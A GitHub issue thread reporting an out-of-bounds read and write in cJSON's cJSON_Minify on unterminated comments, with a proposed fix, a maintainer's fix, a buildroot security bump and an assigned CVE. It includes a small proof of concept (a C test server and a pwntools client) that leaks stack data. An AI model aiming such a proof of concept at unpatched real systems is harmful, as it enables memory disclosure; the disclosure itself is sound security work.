Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

cJSON_Minify cross-border read&write 2 #338

Closed
bigric3 opened this issue Feb 21, 2019 · 8 comments

Comments

Projects
None yet
5 participants
@bigric3
Copy link

commented Feb 21, 2019

https://github.com/DaveGamble/cJSON/blob/master/cJSON.c : 2669
this bug can delete \x00, cross-border read&write, and if use str* API result will fault, cause some logical problem, such as stack&heapoverflow, leak info etc..

       else if ((*json == '/') && (json[1] == '*'))
        {
            /* multiline comments. */
            while (*json && !((*json == '*') && (json[1] == '/')))
            {
                json++;
            }
            json += 2;
        }

this should be code as below:

       else if ((*json == '/') && (json[1] == '*'))
        {
            /* multiline comments. */
            while (*json && !((*json == '*') && (json[1] == '/')))
            {
                json++;
            }
            if(!(*json))
            {
                /* break or return */
            }
            json += 2;
        }

just leak stack data for test
server.c

int main(int argc, const char* argv[]) {

    int lfd = socket(AF_INET, SOCK_STREAM, 0);


    struct sockaddr_in serv_addr;
    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(880);
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

    bind(lfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));


    listen(lfd, 64);

    struct sockaddr_in clien_addr;
    socklen_t clien_len = sizeof(clien_addr);
    int cfd = accept(lfd, (struct sockaddr*)&clien_addr, &clien_len);

    char ipbuf[128];
    printf("client iP: %s, port: %d\n", inet_ntop(AF_INET, &clien_addr.sin_addr.s_addr, ipbuf, sizeof(ipbuf)),
           ntohs(clien_addr.sin_port));
    
    char leakdata1[16] = "passwordpassword";
    char buf[16] = {0};
    char leakdata1[16] = "passwordpassword";
    memset(buf, 0, 16);

    while(1) {
    
        int len = read(cfd, buf, sizeof(buf));
        printf("recv bufdata = %s\n", buf);
        cJSON_Minify(buf);
        printf("After cJSON_Minify, bufdata:\n%s\n", buf);
    }
    close(cfd);
    close(lfd);
    return 0;
}

client just send data(15bytes, not buf overflow) as below,

from pwn import *
p = remote('127.0.0.1', 880)
p.send('/*abcdefghjklmn') 
raw_input('waiting...')

output:

client iP: 127.0.0.1, prot: 39284

recv bufdata = /*abcdefghjklmn

After cJSON_Minify, bufdata:

asswordpassword127.0.0.1
@bigric3

This comment has been minimized.

Copy link
Author

commented Feb 23, 2019

@ecksun

This comment has been minimized.

Copy link
Contributor

commented Feb 23, 2019

I'm confused, why did you highlight me? What can I help you with?

@bigric3

This comment has been minimized.

Copy link
Author

commented Feb 25, 2019

I'm confused, why did you highlight me? What can I help you with?

sorry, when i type '@', your name auto appear, I thought you are admin of cJSON

@ecksun

This comment has been minimized.

Copy link
Contributor

commented Mar 3, 2019

sorry, when i type '@', your name auto appear, I thought you are admin of cJSON

Ah, I see, no, I'm not, sorry for that.

@FSMaxB

This comment has been minimized.

Copy link
Collaborator

commented Apr 12, 2019

Sorry for taking so long to respond. It has been hard to find any free time to work on this lately.

@FSMaxB

This comment has been minimized.

Copy link
Collaborator

commented Apr 12, 2019

There is indeed a problem here and looking at cJSON_Minify a bit more I think there is at least one more.

cJSON_Minify is probably the one function that I looked at the least in cJSON ... I'll take a closer look at the entire function and adress all upcoming Issues.

@FSMaxB FSMaxB closed this in a43fa56 Apr 14, 2019

woodsts pushed a commit to woodsts/buildroot that referenced this issue Apr 15, 2019

package/cjson: security bump to version 1.7.11
Fix a bug where cJSON_Minify could overflow it's buffer, both reading
and writing: DaveGamble/cJSON#338.

Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>

buildroot-auto-update pushed a commit to buildroot/buildroot that referenced this issue Apr 24, 2019

package/cjson: security bump to version 1.7.11
Fix a bug where cJSON_Minify could overflow it's buffer, both reading
and writing: DaveGamble/cJSON#338.

Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
Signed-off-by: Thomas Petazzoni <thomas.petazzoni@bootlin.com>
(cherry picked from commit a45a399)
Signed-off-by: Peter Korsgaard <peter@korsgaard.com>
@ddillard

This comment has been minimized.

Copy link

commented May 1, 2019

Has anyone requested a CVE for this yet? Just saw CVE-2016-10749 finally get published for a different issue?

@carnil

This comment has been minimized.

Copy link

commented May 9, 2019

CVE-2019-11835 was assigned for this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.